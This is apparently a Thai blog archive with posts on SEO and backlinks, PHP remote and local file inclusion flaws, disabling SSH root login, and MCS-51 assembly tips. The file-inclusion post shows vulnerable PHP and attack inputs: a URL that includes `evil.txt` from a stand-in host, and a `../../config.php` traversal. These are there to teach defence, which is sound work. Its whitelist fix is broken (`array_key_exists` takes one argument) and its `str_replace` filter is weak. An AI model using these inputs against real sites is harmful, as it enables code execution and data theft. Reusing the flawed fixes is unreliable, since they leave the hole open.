วันศุกร์ที่ 29 พฤศจิกายน พ.ศ. 2556

หลักของการทำ SEO

   

ผู้อ่านหลาย ๆ คนเริ่มรู้แล้วว่า SEO คืออะไร และมีความสำคัญอย่างไร (หากเป็นผู้อ่านที่ไม่มีความรู้พื้นฐานอะไรเลย ผมแนะนำให้อ่านบทความเดิมตามลิ้งค์เลยนะครับ) แต่สำหรับผู้อ่านที่เริ่มเข้าใจถึงความสำคัญของ SEO แล้ว อาจะมีความสงสัยว่าการทำ SEO นั้นเค้าทำกันยังไง ซึ่งนั่นก็เป็นอะไรที่ผมกำลังจะอธิบายในบทความนี้นั่นเอง แต่คงไม่ได้ลงไปถึงรายละเอียดที่ลึกมาก เอาเพียงแค่ภาพรวมก่อนดีกว่า ไม่งั้นอาจจะจำกันไม่หมดหรือไม่ก็งงกันไปใหญ่ได้เลยทีเดียวเชียว

วิธีการปรับแต่ง SEO ถูกแบ่งแยกออกเป็นสองส่วนหลัก ๆ คือ SEO onpage และ SEO offpage ซึ่งทั้งสองแบบนี้ถ้าจะให้พูดกันง่าย ๆ ก็คือ การปรับแต่ง SEO โดยอาศัยปัจจัยภายใน (On-page) และปัจจัยภายนอก (Off-page) นั่นเอง… คำพวกนี้ หลาย ๆ ท่านอาจจะเคยฟังผ่านมาแล้ว แต่ยังไม่เข้าใจ ว่ามันคืออะไรกันแน่ หากเป็นแบบนั้น ก็ลองมาดูคำอธิบายที่ละเอียดขึ้นมาอีกหน่อยกันดีกว่า

การปรับแต่ง SEO โดยอาศัยปัจจัยภายใน (SEO On-page) ก็คือการใช้ทุกสรรพสิ่งที่เราสามารถ Control ได้ในเว็บไซต์ของเราเองมาช่วยให้อันดับ (Ranking) ของผลลัพธ์ในการ search ดีขึ้นนั่นเอง ผู่อ่านอ่านหลายท่าน “อาจจะถามว่าแล้วอะไรบ้างล่ะที่เรา controlได้ในเว็บไซต์เรา?” ซึ่งคำตอบของคำถามนั้่นก็ตัวอย่างเช่น เนื้อหาภายในเว็บ, ชื่อหัวเรื่องของหน้าเว็บ (title tag), คำอธิบายหน้าเว็บ (meta description ถึงในปัจจุบันไม่มีผลกับอันดับแล้ว แต่มีผลกับการ user ในการ click เลือกผลลัพธ์), การใช้ link ที่เชื่อมไปยังหน้าอื่น ๆ ภายในเว็บเรา internal linking), ชื่อโดเมน (domain name), ชื่อไฟล์ (file name), และอื่น ๆ ที่เราสามารถปรับแต่งได้เอง ในเว็บไซต์ของเรา

ในทางตรงกันข้าม การปรับแต่ง SEO Off-page ก็คือการอาศัยปัจจัยภายนอกมาทำให้อันดับของเว็บเราดีขึ้น เช่น การเพิ่ม link จากเว็บอื่น ๆ ให้ link กลับมาหาเรา (link building) นั่นเอง ซึ่งมีทั้งการทำแบบที่ถูกต้องตามหลักคำแนะนำของ Search Engine (White Hat) และการอาศัยเทคนิคต่าง ๆ ที่ได้ผลเร็ว แต่ไม่ค่อยจะถูกหลักที่ Search Engine อยากให้เป็น (Black Hat) มาช่วยการจัดอันดับ … ในสถานการณ์ปัจจุบันตรงส่วนของการหา back link นี้ถูกมองไปถึงการทำ Online Marketing ด้วย เพราะ Online Marketing จะทำให้เราได้ backlink และ traffic มากขึ้น แต่จะดีขนาดไหนนั้นก็ต้องอยู่กับความเทพ ของคุณเองด้วย

ก็คงจบเรื่อง SEO on-page และ SEO off-page ไว้ตรงนี้ ส่วนรายละเอียดแบบลงลึกของแต่ละชนิด ไว้ค่อยว่ากันในบทถัด ๆ ไปดีกว่า แต่ยังไงตอนนี้หากใครพูดถึง SEO on-page และ off-page ให้คุณได้ยินอีก คุณก็คงจะไม่งงอีกแล้



Backlink คืออะไร แล้วมันสำคัญยังไง

BackLink คือ Link ที่วิ่งเข้ามาหาเว็บใดก็ตาม เว็บใดเว็บหนึ่ง


BackLink สำคัญอย่างไร ?
เรื่องนี้ผมคืออธิบายนะครับว่า ปัจจัยหลักเลยที่จะทำให้เว็บไซด์เราดังขึ้นมา และ ติดอันดับนั้น ใน Search Engine ค่ายต่างๆ โดยเฉพาะ Google สิ่งสำคัญอย่างนึง ก็คือการทำ BackLink นี่แหละครับ โดย Bot ของ Search Engine ทั้งหลายจะจัดอันดับ เพื่อให้
คะแนน และ คุณภาพของเว็บไซด์จาก BackLink จำนวมาก นั้นแหละครับ แต่อย่างที่ผมเคยบอกไว้ในบทความก่อนๆ คือ BackLink ของคุณต้อง
เป็น BackLink ที่มีคุณภาพด้วยเช่นกัน อืม..ประมาณว่า สมมุติคุณทำเว็บเกี่ยวกับการเรียนการสอน แต่กลับมามี link มาจากเว็บรวมรูป Search Engine ก็จะมองว่าเราทำ Spam BackLink  เพราะมันดูไม่เป็นธรรมชาติ เราควรมี BackLink ที่มาจากเว็บที่มีเนื้อหาสอดคล้องเก็บเว็บของเรา จะทำให้ BackLink เป็น BackLink ที่เป็นธรรมชาติ

BackLink ต้องห้าม ข้อนี้สำคัญมากนะครับ การที่มี BackLink มากๆ นั้นเป็นสิ่งที่ดีก็จริงอยู่แต่หากคุณมี BackLink จากเว็บที่ไม่ควรมีแล้วล่ะก็
ต่อให้เป็นเว็บไซด์ที่มีเนื้อหาสอดคล้องกับเว็บของเราแค่ไหนก็ตาม แววโดนแบนก็จะมาที่เว็บคุณแน่นอน แล้วเว็บอะไรล่ะที่ห้ามไปมี BackLink
ด้วย เว็บที่เราห้ามไปมี BackLink ด้วยอย่างเด็ดขาด ก็คือเว็บที่ถูกแบนจาก Search Engine นั่นเอง แล้วจะรู้ได้อย่างไรว่าเว็บที่จะมาแลก link กับเรา หรือเว็บที่เราจะโพสต่อไปนั้นเป็นเว็บที่ถูก แบน รึปล่าว ? เราสามารถ Check ได้ครับ โดยเข้าไปที่ http://www.isbanned.com/ แล้ว
ลองพิมพ์ URL ของเว็บที่ท่านกำลังจะคบค้าสมาคมด้วยดูนะครับว่าควรจะ คบกับเว็บไซด์เหล่านั้นด้วยดีมั้ย และสำหรับคนที่ทำ BlackLink มาเยอะแล้ว แลก link มาเต็มเว็บแล้วให้เข้า http://www.bad-neighborhood.com/text-link-tool.htm เลยครับเพื่อเช็คทีเดียวทั้งเว็บ  ว่าเราไปมีเว็บอะไรรึเปล่าที่โดนแบนไม้ควรคบค้าสมาคมด้วย จะได้รีบเอาออกอย่างทันถ่วงทีนะครับ

อย่างไรก็ดี การหมั่นอัพเดทเว็บไซด์บ่อยๆ ด้วยเนื่้อหาของท่านเองไม่ก๊อบใคร Unique Content นั่นก็เป็นสิ่งที่สำคัญที่สุดอยู่ดีครับ เพราะว่า แม้เราจะมี BackLink เยอะแค่ไหนก็ตามหากคนคลิกเข้ามาพบเนื้อหาไม่น่าสนใจ และ ไม่อัพเดท บ่อยๆ คนก็ไม่เข้ามาอยู่ดีครับ ควรหมั้นอัพเดท Content ให้สอดคล้องกับ BackLink ที่เป็นธรรมชาติ แล้วเว็บคุณก็จะมีอันดับที่ดีขึ้นเองครับ

ขอขอบคุณบทความจาก
http://www.sciartseo.com/
http://seo.clisk.co.th

วันเสาร์ที่ 23 พฤศจิกายน พ.ศ. 2556

การ Hack ด้วยช่องโหว่ RFI (Remote File Inclusion)

 

 

ช่องโหว่ RFI(Remote File Inclusion) hacking


RFI(Remote File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker โจมเว็บไซต์ได้ ด้วยการดึงไฟล์จากข้างนอกเว็บ เข้ามารันในเว็บของคุณ

LFI(Local File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker ดึงไฟล์อื่นๆที่อยู่ในเว็บไชต์มารัน หรือดู (อาทิเช่น ไฟล์ config หรือไฟล์เก็บ password ต่างๆ)

ทั้งนี้รูรั่วทั้งสองเกิดการความสะเพร่า หรือไม่ใส่ใจในการกรอง input ของตัวผู้เขียนสคริปเอง


ว่ากันไปตามเหตและผล ผลที่เรารู้แล้วแน่ชัดคือข้อมูลรั่วไหล หรือเว็บโดน hack งั้นมาดู สาเหตุกันดีกว่า

สาเหตุที่ทำให้เกิด รูรั่ว RFI / LFI
จริงๆก็เกริ่นไว้ตั้งแต่ตอนต้นล่ะครับว่าเกิดจากความสะเพร่า หรือไม่ใส่ใจของคนเขียนสคริปเอง

ตัวอย่างโค๊ดที่ทำให้เกิดช่องโหว่ RFI และ LFI

view sourceprint?
<? include($_GET['page']);?>
แล้ว hack ก็ป้อน input เข้ามาเป็น index.php?page=http://example.com/evil.txt
เมื่อดูจาก php แล้วก็จะ ตู้มกลายเป็นโกโก้ครั้นกันเลย

วิธีป้องไม่ให้เกิดรูรั่ว RFI / LFI
ก็คือการกรอง input ($_GET,$_POST,$_REQUEST,$_COOKIE) ทุกทางที่ user สามารถส่งมาได้ จริงๆแล้วหลักปฏิบัติที่ดีในการเขียนสคริป ควรจะกรองก่อนทุกครั้งก่อนที่จะนำไปทำอะไรต่อ
ในกรณีนี้ ผมแนะนำว่าให้ กำหนด Array ไฟล์ที่จะ include เข้ามาด้วย key => file จะปลอดที่สุดครับ รูรั่วนี้ก็จะหมดไป

view sourceprint?
$allow = array(
0 => 'page-0.php',
1 => 'page-1.php',
'test' => 'page-test.php',
'sub' => 'sub.php',
);
if(array_key_exists($_GET['page']))
{
include($allow[$_GET['page']]);
}
โดนลิสต์ array แบบนี้ ปัญหาทั้ง RFI และ LFI ก็จะหมดไปครับ
สำหรับไฟล์ปริมาณมาก(กรณีที่ไม่รู้ว่าจะ ดึงไฟล์ไหนเข้ามา) ผมจะใช้ realpath เป็นตัวจัดการ หรือตัด ../ และ ./ ออกเพื่อป้องกัน LFI
วิธีการมีมากมายแล้วแต่จะจิตนาการ หรือตามถนัด หรือตามสตาย์ (กังนัมสตายล์ ไม่เกี่ยวนะ 555) สำหรับใครที่คิดไม่ออก ผมยกตัวอย่างคร่าวๆ สักสองสามวิธีก็แล้วกันครับ

Method 1: str_replace(‘../’,”,$page);
ตัด ../ ออกด้วย

view sourceprint?
$page = urldecode($_GET['page']); //decode ก่อนชั้นนึง
$page = str_replace(array('../','./'),'',$page);
สมมุติ input มาประมาณว่า

view sourceprint?
index.php?page=../../config.php
$page ก็จะเท่ากับ config.php โดนตัด ../ ออกไป

Method 2: realpath
วิธีที่2 ใช้ realpath ซึ่ง realpath จะ แปลง ./ หรือ ../ ให้กลายเป็น absolute path (full path ยาวตั้งแต่ C:/ กรณีวินโดว์)และจะ return false; กลับมาถ้าไฟล์นั้นไม่มีอยู่จริง

view sourceprint?
//สมมติว่า $_GET['page'] = '../../test.php';
$page = realpath($_GET['page']); //แปลงให้เป็น absolute
$incDir = realpath('my-dir');  //แปลงfolder ที่จะ include เป็น absolute
if(empty($page) || strpos($page,$incDir)!==0) //เช็คดูว่าอยู่ในโฟลเดอร์เดียวกันหรือเปล่า
{
   die('404'); //stop script
}
include($page);
Method 3: filename
วิธีที่ 3 หั่นเอามาเฉพาะ filename

view sourceprint?
$page = explode('/',$_GET['page']); //หั่น path ออกมาเป็น array
$page = array_pop($page); //เอาเฉพาะ filename *index สุดท้าย
if(file_exists($page))
  include($page);
จะเห็นว่าเราสามารถกรองได้หลากหลายวิธีมาก แต่ส่วนใหญ่มักจะขี้เกียจ หรือสะเพร่าไปในบางจุด
ทั้งนี้ต้องดูลักษณะงาน แล้วใช้ให้เหมาะสม จะดีที่สุดครับ

บทความจาก : http://code32bit.blogspot.com

วันจันทร์ที่ 18 พฤศจิกายน พ.ศ. 2556

SSH คืออะไร? และ วิธีป้องกัน root ssh



SSH (Secure Shell)



SSH (Secure Shell) คือ Network Protocal ที่สามารถแลกเปลี่ยนข้อมูลโดยช่องทางที่ปลอยภัย (Secure Channel) ระหว่างอุปกรณ์เครือข่ายสองตัว ใช้ Linux หรือ Unix เป็นระบบปฏิบัตการพื้นฐานในการเข้าถึงบัญชีผู้ใช้ (Shell Accounts) ซึ่ง SSH ได้รับการออกแบบให้มาแทนการ Telnet, Rlogin, RSH (The remote shell) ด้วยเหตุผลทางด้านความปลอดภัย การส่งข้อมูลจะอยู่ในรูปแบบตัวอักษร (Plaintext) ที่มีการเข้ารหัสข้อมูล (Encryption) เพื่อให้ข้อมูลเป็นความลับและให้สามารถส่งข้อมูลผ่านเครือข่าย Internet ได้อย่างสมบูรณ์ สามารถใช้งาน SSH ผ่านโปรแกรมประยุกต์ (Applications) ได้มากมายบนระบบปฏิบัติการ UNIX, Microsoft Windows, Apple Mac และ Linux โปรแกรมประยุกต์ (Applications)

SSH (Secure Shell)
ตัวอย่างการใช้งาน SSH ผ่านโปรแกรม PuTTY ในระบบปฏิบัติการ Microsoft Windows 7

จาก: http://www.sutenm.com


ป้องกัน root ssh บน centos

วิธีการ Set SSH ไม่ให้ root login เข้ามา
วันนี้จะมาสอน security เบื้องต้นของ linux

นั่นคือ การไม่ให้ Root Access เครื่องโดยตรง แต่ต้องผ่าน user คนอื่นก่อน

มาดูวิธีกันเลยดีกว่า

[root@valkyrie ~]# useradd
เพื่อสร้าง user ใหม่ครับ ใช้ในการที่เอาไว้ login ssh แทน root

[root@valkyrie ~]# passwd
ทีนี้ก็กำหนด Password ให้มันครับ (แนะนำให้คนละอันกับ root)

[root@valkyrie ~]# vi /etc/ssh/sshd_config
เข้าไปแก้ไข sshd_config ครับ
ตั้ง PermitRootLogin เป็น no
ซึ่งในตอนแรก มันจะปรับเป็น yes แล้ว comment ด้วย # ไว้ เอาออกด้วยนะครับ
แล้วเลื่อนลงมาล่างสุดครับ ให้พิมพ์บรรทัดนี้เพิ่มเข้าไป
AllowUsers
แล้ว save ไฟล์ ปิด ออกมานะครับ

ทีนี้ สั่ง service sshd restart เพื่อสั่งรี service sshd

ระหว่างนี้ ห้ามปิด SSH นี้ก่อนนะครับ เพราะเรายังไม่รู้ว่า config ที่เราใช้ มีปัญหาทำให้ login ไม่ได้หรือไม่
ถ้าไม่ทดสอบก่อน อาจจะต้องเดินไปแก้ไฟล์หน้าเครื่องได้นะครับ เพราะจะ ssh ไม่ได้อีกเลย
ดังนั้นให้เปิด terminal ssh เข้าไปยัง server อีกครั้งนะครับ แล้วลอง login ด้วย root ดู
จะพบว่า มัน login ไม่ได้
ให้ปิด terminal นั้นแล้วเปิด ssh ไปอีกหน้าหนึ่ง แล้วทดสอบ login ด้วย user ที่เราสร้างไปเมื่อตอนแรก
ถ้าได้ ก็ ok ครับ ฉลุย ผ่าน

ถ้าเราต้องการใช้สิทธิ Root
คือเนื่องจาก user ที่สร้างใหม่นั้น มันจะไม่มีสิทธิเทียบเท่า Root ดังนั้น วิธีการที่จะทำให้เราเข้าไปใน Root ได้ นั่นคือคำสั่ง
[newusers@valkyrie ~]$ su -
มันจะให้พิมพ์ password root เราก็พิมพ์ root

เครดิตจำไม่ได้ต้องขอโทษทีนะครับ

วันเสาร์ที่ 9 พฤศจิกายน พ.ศ. 2556

ภาษา Assembly คืออะไร? และ การเขียนโปรแกรมด้วยภาษา Assembly





ภาษาแอสเซมบลี (อังกฤษ: Assembly Language) หมายถึง ภาษาที่ใช้ในการเขียนโปรแกรมภาษาหนึ่งซึ่งจะทำงานโดยขึ้นกับรุ่นของไมโครโพรเซสเซอร์ หรือ "หน่วยประมวลผล" (CPU) ของเครื่องคอมพิวเตอร์
การใช้ภาษาแอสเซมบลีจำเป็นต้องผ่านการแปลภาษาด้วยคอมไพเลอร์เฉพาะเรียกว่า แอสเซมเบลอร์ (assembler) ให้อยู่ในรูปของรหัสคำสั่งก่อน (เช่น .OBJ) โดยปกติ ภาษานี้ค่อนข้างมีความยุ่งยากในการใช้งาน และการเขียนโปรแกรมเป็นจำนวนบรรทัดมากมากกว่า เมื่อเปรียบเทียบกับการใช้ภาษาระดับสูง เช่น ภาษา C หรือภาษา BASIC แต่จะทำให้ได้ผลลัพธ์การทำงานของโปรแกรมเร็วกว่า และขนาดของตัวโปรแกรมมีขนาดเนื้อที่น้อยกว่าโปรแกรมที่สร้างจากภาษาอื่นมาก จึงนิยมใช้ภาษานี้เมื่อต้องการประหยัดเวลาทำงานของเครื่องคอมพิวเตอร์ และเพิ่มประสิทธิภาพของโปรแกรม
เนื่องจากตัวคำสั่งภายในภาษาอ้างอิงเฉพาะกับรุ่นของหน่วยประมวลผล ดังนั้นถ้ามีการเปลี่ยนแปลงไปใช้กับหน่วยประมวลผลอื่นหรือระบบอื่น (เช่น หน่วยประมวลผล x86 ไม่เหมือนกับ z80) จะต้องมีการปรับแก้ตัวคำสั่งภายในซึ่งบางครั้งอาจไม่สามารถปรับปรุงแก้ไขได้อย่างสมบูรณ์

         การพัฒนางานทางด้านไมโครคอนโทรลเลอร์ด้วยภาษา Assembly นั้น ถือว่ายังเป็นที่นิยมอยู่มาก
ในบ้านเรา เรียกได้ว่าเป็นส่วนใหญ่เลย ในขณะที่ต่างประเทศนั้น ภาษา Assembly จะนิยมรอง
ลงมาจากภาษา C ที่ใช้กันเป็นอันดับหนึ่ง อาจจะเป็นเพราะว่าความคุ้นเคย หรือเพราะความตรง
ไปตรงมาของภาษา Assembly ที่เป็นจุดเด่นอย่างหนึ่งก็ได้ ไม่ว่าจะอย่างไรก็ตาม การเข้าถึง
ภาษา Assembly ได้นั้น ถือว่าเป็นการเรียนรู้และเข้าใจได้ลึกซึ้งที่สุด และถ้ารู้จักนำมาประยุกต์
ใช้งานให้เหมาะสมแล้ว ก็จะเป็นประโยชน์ต่อการพัฒนาเทคโนโลยีต่าง ๆ เป็นอย่างมาก
สำหรับชิพตระกูล MCS-51 นั้น (ขอย้ำ ... ตระกูลครับ ... ไม่ใช่เบอร์ 51 ... แต่มากันเป็นร้อย ๆ เบอร์)
จากประสบการณ์ที่ได้สะสมมา พอจะสรุปเป็นประเด็นต่าง ๆ ได้ 10 ประเด็น ที่นักพัฒนาทั้งหลาย
ควรจะจดจำไว้ให้แม่น เพื่อจะช่วยให้การพัฒนาเป็นไปได้อย่างไม่ติดขัด ... ดังนี้ครับ

1. Internal RAM พื้นที่ยุทธศาสตร์
MCS-51 ถูกออกแบบให้มี Internal RAM ภายใน 128 Byte (เบอร์ 8051) หรือ 256 Byte (เบอร์ 8052)
และนี่เป็นความตั้งใจของผู้ผลิตที่จะให้ใช้พื้นที่ส่วนนี้เพื่อการทำงานต่าง ๆ คือเป็น Working Area ไม่ว่าจะ
เป็นส่วน Register, Stack, และ Buffer ชุดคำสั่งเกือบจะทั้งหมดจะกระทำกับ Internal RAM นี้ ถ้าเรา
จะพยายามใช้ส่วนของ External RAM เป็นพื้นที่ในรูปแบบ Working Area ก็จะเป็นเรื่องที่ยุ่งยากเกินไป
ส่วน External RAM เหมาะสำหรับการเก็บข้อมูลแบบต่อเนื่อง หรือทำเป็น Buffer จำนวนมาก ๆ เท่านั้น
เพราะเนื่องจากมีคำสั่งที่ใช้งานได้ไม่กี่คำสั่ง เช่น MOVX A,@DPTR ในส่วน Internal RAM นั้น เรา
สามารถใช้งานโดยตรงได้โดยไม่ต้องใช้ Register ให้ยุ่งยากเลย ตัวอย่างเช่น

MOV COUNT,#18H
LOOP: ...
...
...
DJNZ COUNT,LOOP

ในที่นี้ COUNT คือชื่อที่อ้างถึงพื้นที่ Internal RAM ที่กำหนดจากคำสั่ง EQU หรือ DS อีกที สังเกตุว่าเรา
ใช้งานได้เสมือนกับเป็น Register R0-R7 เลย อีกประเด็นหนึ่งที่เกี่ยวกับ Internal RAM ก็คือ การอ้าง
ถึงพื้นที่ RAM ตั้งแต่ Address 80-FFH (เบอร์ 8052) ซึ่งมี Address ซ้อนทับกับส่วน SFR 80-FFH ด้วย
จะต้องแยกด้วยคำสั่งที่ใช้งาน ถ้าเป็นกรณีอ้างถึง RAM ที่ตำแหน่ง A0H จะต้องใช้คำสั่งแบบ Indirect ดังนี้

MOV R0,#0A0H
MOV A,@R0

แต่ถ้าเป็นกรณีอ้างอิงถึง SFR ที่ตำแหน่ง A0H เช่นกัน จะต้องใช้คำสั่งแบบ Direct ดังนี้

MOV A,0A0H

2. ระบบ Stack และการเรียงข้อมูล
ระบบ Stack ของ MCS-51 จะเป็นแบบนับขึ้น โดยมีค่าเริ่มต้นหลังจาก Reset เป็น 07H เสมอ ถ้ามีการใช้
คำสั่ง PUSH หรือ CALL ค่า Stack จะเพิ่มขึ้นก่อน แล้วจึงเก็บข้อมูลลงไป ซึ่งก็จะเป็น Address 08H เป็น
ตัวแรก ระบบ Stack สามารถโยกย้ายไปที่ใดก็ได้ใน Internal RAM ซึ่งรวมไปถึงส่วน Address 80-FFH
ด้วย โดยจะไม่ปะปนกับส่วน SFR แต่อย่างใด ... ส่วนการเรียงลำดับข้อมูลขนาด 16 บิทในคำสั่งต่าง ๆ
จะเรียงจาก High ไป Low เสมอ เช่นการใช้คำสั่ง LJMP ไปที่ Address 87FFH จะแปลงเป็น Op-Code
คือ 02H,87H,FFH

3. ชื่อ Register หรือ Bit ... กำหนดให้ถูกกับการใช้งาน
ใน MCS-51 จะมีมุมมองจากจุดต่าง ๆ กัน เพราะฉะนั้นจะมีชื่ออ้างอิงที่ต่างกันด้วย ทั้งนี้การที่ผู้ผลิตชิพ
ออกแบบไว้อย่างนี้ ก็เพื่อให้ชุดคำสั่งใช้ได้อย่างมีประสิทธิภาพโดยไม่สับสน ชื่อจะมีอยู่ 3 แบบ คือ

ชื่อเฉพาะ เช่น A, R2, C(Carry), DPTR
ชื่อ Bit เช่น INT1, T0, T1, CY(Carry)
ชื่อ SFR (Special Function Register) เช่น ACC, B, DPH, P1, PSW, TCON

ชื่อทั้ง 3 กลุ่มนี้ บางตัวก็คือตัวเดียวกัน แต่มองจากคนละมุม เช่น A และ ACC , C และ CY ทั้งนี้เพื่อ
ให้เข้ากับชุดคำสั่งของแต่ละประเภท ตัวอย่างเช่น คำสั่ง PUSH จะกำหนดให้ตามด้วยชื่อแบบ Direct
เพราะฉะนั้นจะต้องใช้เป็น PUSH ACC จะใช้เป็น PUSH A ไม่ได้ ชื่อ Direct ในที่นี้ยังหมายถึงชื่อ
ที่เรากำหนดเองก็ได้จากคำสั่ง DS หรือ EQU ด้วย อีกตัวอย่างเช่น คำสั่ง JB bit,rel ถ้าเราใช้เป็น
JB CY,rel ก็จะทำงานเหมือนคำสั่ง JC rel เช่นกัน โดยมี Op-Code ที่แตกต่างกัน ทั้งนี้ CY จะเป็นชื่อ
ที่มองในฐานะของ Bit Address ส่วน C จะเป็นชื่อที่เป็นรูปแบบของคำสั่งไปเลย เราจะต้องเข้าใจ
คำสั่งแต่ละคำสั่งให้ชัดเจน จึงจะสามารถอ้างอิงได้ถูกต้องตามขบวนท่า นอกจากนี้ ชื่อ SFR ยังมี
ความสามารถในการใส่จุดหลังชื่อได้อีก ซึ่งจะทำให้เรียกใช้งานได้ในหลายรูปแบบ ตัวอย่างเช่น
P3.3 จะเหมือนกับ INT1 (คือ SFR ชื่อ P3 บิทที่ 3) , PSW.7 จะเหมือนกับ CY นั่นเอง

4. Boolean Processor ต้องใช้ให้คุ้ม
MCS-51 มีความสามารถในเรื่องบิทที่ดีมาก ซึ่งจะต้องนำมาใช้ประโยชน์ให้คุ้มค่า โดยเฉพาะอย่างยิ่ง
ในเรื่องของการกำหนด Flag ต่าง ๆ พื้นที่ใน Internal RAM ส่วนหนึ่งคือ 20-2FH (16 Byte,128 Bit)
และพื้นที่ SFR ที่มี Address ลงท้ายด้วย 0 และ 8 จะสามารถอ้างอิงถึงในระดับบิทได้ เปรียบเสมือนมี
Register 1 บิท ซึ่งนำมาเปรียบเทียบได้ , move ได้ , กำหนดให้เป็น 0 หรือ 1 ได้ รวมทั้งทำการ Jump
ตามค่าบิทนั้น ๆ ได้ด้วย การใช้งาน MCS-51 โดยไม่ได้ใช้คำสั่งเกี่ยวกับบิทเลย คงจะเป็นเรื่องแปลก
ทีเดียว

5. ใช้ Registor ขนาด 16 บิทอย่างเหมาะสม
หลายคนคงรู้สึกอึดอัดใจกับ MCS-51 ในเรื่องการอ้างอิง Address แบบ 16 บิท ซึ่งมี DPTR เพียงตัวเดียว
และยังทำการ Increment ได้อย่างเดียว โดยไม่สามารถ Decrement ได้ ในเรื่องนี้ถ้าเราใช้ External
RAM เพื่อการเก็บข้อมูลอย่างเหมาะสม ก็จะไม่รู้สึกถึงปัญหานี้แต่อย่างใด MCS-51 ได้ออกแบบโดยให้
ใช้งานที่ Internal RAM เป็นหลัก เพราะฉะนั้นไม่ต้องคิดมาก พยายามใช้งานให้สอดคล้องตามที่เขาออก
แบบมา ... สบายมาก

6. อักษรที่ต้องจำให้ขึ้นใจ (# และ @)
ในภาษา Assembly ของ MCS-51 อักษรทั้ง 2 ตัวนี้จะพบบ่อย ๆ และมักจะทำให้ผู้เริ่มสับสนได้พอสมควร
อักษร # จะใช้แทนค่าคงที่ เช่น คำสั่ง MOV A,#40H คือการนำค่า 40H เก็บไว้ใน Register A ถ้าไม่ได้ใส่
อักษร # ไว้ก็จะเป็น MOV A,40H ซึ่งจะมีการทำงานไปคนละเรื่องเลย คือการนำค่าจาก Internal RAM
ตำแหน่งที่ 40H ไปไว้ใน Register A ส่วนอักษร @ จะใช้ในความหมายของ In-direct คือการอ้างถึง
หน่วยความจำผ่านทาง Register อีกที เช่น MOV A,@R0 คือการนำค่าใน Internal RAM ที่ถูกชี้ด้วย R0
มาเก็บไว้ใน Register A หรือเช่น MOVX A,@DPTR คือการนำค่าใน Data Memory ที่ถูกชี้ด้วย DPTR
มาเก็บไว้ใน Register A

7. คำสั่งที่อาจจะสับสนได้
คำสั่งของ MCS-51 หลายคำสั่งที่ให้ความหมายไม่เหมือนกับคำสั่งของชิพตระกูลอื่น ๆ (โดยเฉพาะ Z80)
ซึ่งอาจจะทำให้สับสนได้ (ใครทำให้ใครสับสนก็ไม่รู้) พอจะรวบรวมได้ดังนี้ ...

คำสั่ง RLC และ RL หมายถึงการ Rotate Left แบบผ่าน Carry และไม่ผ่าน Carry ตามลำดับ
(Z80 จะให้ความหมายตรงข้ามกันเลย)

คำสั่ง JNZ และ JZ หมายถึงการกระโดดไป เมื่อ A ไม่เท่ากับ 0 และ A เท่ากับ 0 ตามลำดับ
สำหรับ MCS-51 จะตรวจสอบจากค่า A โดยตรง คือไม่ได้มี Zero flag เหมือน Z80 เพราะฉะนั้น
จะใช้ที่จุดใด ต้องแน่ใจว่าก่อนหน้านั้นมีการกระทำกับ Register A เสียก่อน

คำสั่ง SUBB หมายถึงคำสั่งลบเลข โดยใน MCS-51 จะสนใจค่า Carry ด้วยเสมอ คือถ้าเป็นการ
เริ่มต้นลบ จะต้องทำการ Clear Carry (CLR C) ก่อนเสมอ

คำสั่ง CJNE หมายถึงการ Compare ซึ่งจะทำการกระโดดไป เมื่อค่าไม่เท่า แต่ถ้าจะกระทำการ
เปรียบเทียบในเชิงค่ามากกว่า,น้อยกว่า ก็ทำได้เช่นเดียวกัน โดยการให้กระโดดไปยังบรรทัดต่อไป
และใช้คำสั่ง JNC และ JC ได้ตามต้องการ (ไม่สามารถใช้ JNZ และ JZ ได้) ตัวอย่างเช่น

CJNE A,B,$+3 (อักษร $+3 เป็นการบอกให้ตัวแปลรับรู้ โดยอ้างถึงตำแหน่ง ณ คำสั่งนี้ บวกไปอีก 3 Byte)
JNC ... ให้กระโดดไปที่ ... ถ้า A < B
หรือ
JC ... ให้กระโดดไปที่ ... ถ้า A => B

8. Interrupt ... เลือกใช้ให้เหมาะสม
เนื่องจาก MCS-51 มีโครงสร้างการ Interrupt ให้ใช้จากแหล่งหลาย ๆ อย่าง จึงทำให้ผู้เขียนโปรแกรมมีทาง
เลือกวิธีการใช้ได้มากขึ้นด้วย อย่างไรก็ตาม ใน Interrupt Routine จะต้องพยายามทำให้กระชับ และทำงาน
อย่างรวดเร็วที่สุดเท่าที่จะทำได้ ทั้งนี้ในระหว่างที่ทำงานอยู่ใน Interrupt Routine นี้ ถ้าเกิดมีกรณีการ
Interrupt ซ้อนกันอีกครั้ง ระบบจะไม่ตอบสนองการ Interrupt นั้น ๆ จนกว่าจะจบการทำงานของ Routine
ที่มีกำลังทำอยู่ (คือเจอคำสั่ง RETI) การ Interrupt ซ้อนกัน 1 ครั้งจะไม่มีปัญหาใด ๆ กับระบบ เพราะ MCS-51
จะยังคงตอบสนองได้ครบถ้วน แต่ถ้ามีการ Interrupt ซ้อนกันมากกว่า 1 ครั้ง (หมายถึงจากแหล่งเดียวกัน)
ก็จะทำให้การตอบสนองผิดพลาดไปได้

9. P0,P1,P2,P3 ... ใช้เป็น Active Low ให้หมด
เมื่อเปิดไฟเข้าระบบ หรือเมื่อทำงาน Reset ตัว MCU แล้ว ขาสัญญานทั้ง 4 Port จะมีสถานะเป็น 1 เสมอ
เพราะฉะนั้น ถ้ามีการนำขาสัญญานไปขับวงจรใด ๆ แล้ว ต้องคำนึงเสมอว่าให้วงจรทำงานแบบ Active Low
คือทำงานเมื่อเป็น 0 เช่นถ้านำไปขับวงจร Relay วงจรนี้จะทำให้ Relay ON เมื่อเป็น 0 ด้วยการออกแบบ
ที่ถูกต้องนี้ จะช่วยให้งานมีความสมบูรณ์ในการใช้งานเป็นอย่างดี

10. ไมโครคอนโทรลเลอร์ ก็คือ ไมโครคอนโทรลเลอร์
ความหมายของข้อนี้ก็คือ ให้ไมโครคอนโทรลเลอร์ทำงานของมันอย่างที่ควรเป็น ถ้าจะทำระบบที่ซับซ้อนมาก ๆ
หรือมีการเก็บข้อมูลอย่างมหาศาล หรือมีความเร็วสูงแบบไม่เห็นฝุ่น บางทีอาจจะต้องทบทวนก่อนว่า ระบบ
ไมโครคอนโทรลเลอร์จะสามารถทำได้อย่างที่ต้องการหรือไม่ เพราะชื่อของมันก็บอกอยู่แล้วว่า สำหรับการ
Control หรือการควบคุมนั่นเอง การนำไปใช้กับระบบที่เกินขอบเขตของมัน อาจจะต้องแยกงานเป็นส่วน ๆ
